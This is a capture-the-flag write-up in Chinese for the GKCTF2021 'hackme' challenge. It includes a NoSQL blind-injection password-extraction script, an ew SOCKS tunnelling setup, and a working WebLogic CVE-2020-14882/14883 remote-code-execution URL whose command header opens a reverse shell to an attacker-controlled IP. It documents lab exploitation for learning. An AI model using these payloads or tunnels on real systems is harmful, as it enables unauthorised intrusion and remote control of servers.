title: gkctf2021hackme
typora-copy-images-to: gkctf2021hackme
date: 2021-10-10 00:02:59
tags: [渗透测试, ctf, weblogic, 内网穿透]
进入题目,出现的是一个登录框:
查看源码后提
示:
怀疑是Nosql注入,尝试登录,查看数据包是json传输:
burp抓包,构造永真式登录:
{"username":{"$ne":1},"password": {"$ne":1}}
发现被检测了,
根据提示一:使用unicode编码绕过:
猜测是用Nosql盲注获得admin密码,判定条件为
{"msg":"登录了,但没完全登录"} // 真
{"msg":"登录失败"} // 假
编写盲注脚本:
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:29587/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\u0024\u0072\u0065\u0067\u0065\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
print("[+] %s" % (password + c))
password += c
得到密码后登录:
这里可以读取文件:
尝试读取flag,提示flag在内网
再次根据提示:注意server和其配置文件!
server: nginx/1.17.6,直接读取Nginx配置文件:/usr/local/nginx/conf/nginx.conf,得到如下:
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
server {
listen 80;
error_page 404 404.php;
root /usr/local/nginx/html;
index index.htm index.html index.php;
location ~ .php$ {
root /usr/local/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param script_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;
# weblogic
server {
listen 80;
server_name weblogic;
location / {
proxy_set_header Host $host;
set $backend weblogic;
proxy_pass http://$backend:7001;
}
}
发现内网中确实还有一个应用,在内网 weblogic 主机的 7001 端口上运行着一个 weblogic 服务。下面我们就想办法攻击这个内网的 weblogic。
根据info.php发现目标环境开启了session.upload_progress.enabled.
可以尝试使用PHP_SESSION_UPLOAD_PROGRESS Getshell.具体参考https://whoamianony.top/2021/05/14/Web%E5%AE%89%E5%85%A8/%E6%B5%85%E8%B0%88%20SESSION_UPLOAD_PROGRESS%20%E7%9A%84%E5%88%A9%E7%94%A8/
构造POC如下:
在浏览器打开,使用burpsuite抓包,双开:
访问/shell.php,使用蚁剑连接:
接下来就是内网渗透:
首先在VPS上上传ew,执行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听 1234,把本地 1234 端口收到的代理请求转交给1080端口,这里 1234 端口只是用于传输流量。
在上传ew到目标机:
执行
./ew_for_linux64 -s rssocks -d xx.xx.xx.xx -e 1234
这句话的意思上将本机的1234端口转发到公网地址为xx.xx.xx.xx的机器上。
连接成功:
然后使用 SwichyOmega 配置 socks5 代理服务:
访问weblogic:
可以看到weblogic的版本为12.2.1.4.0,
Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。在 2020 年 10 月的更新中,Oracle 官方修复了两个长亭科技安全研究员 @voidfyoo 提交的安全漏洞,分别是 CVE-2020-14882 和 CVE-2020-14883。 CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令。
首先测试权限绕过漏洞(CVE-2020-14882),访问以下 URL,即可未授权访问到管理后台页面:
http:/weblogic:7001/console/css/%252e%252e%252fconsole.portal
绕过登录后,发送以下 POC 可远程执行命令,反弹shell:
GET:
http://weblogic:7001/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();
HTTP Headers:
cmd: bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1
反弹成功:
得到flag:



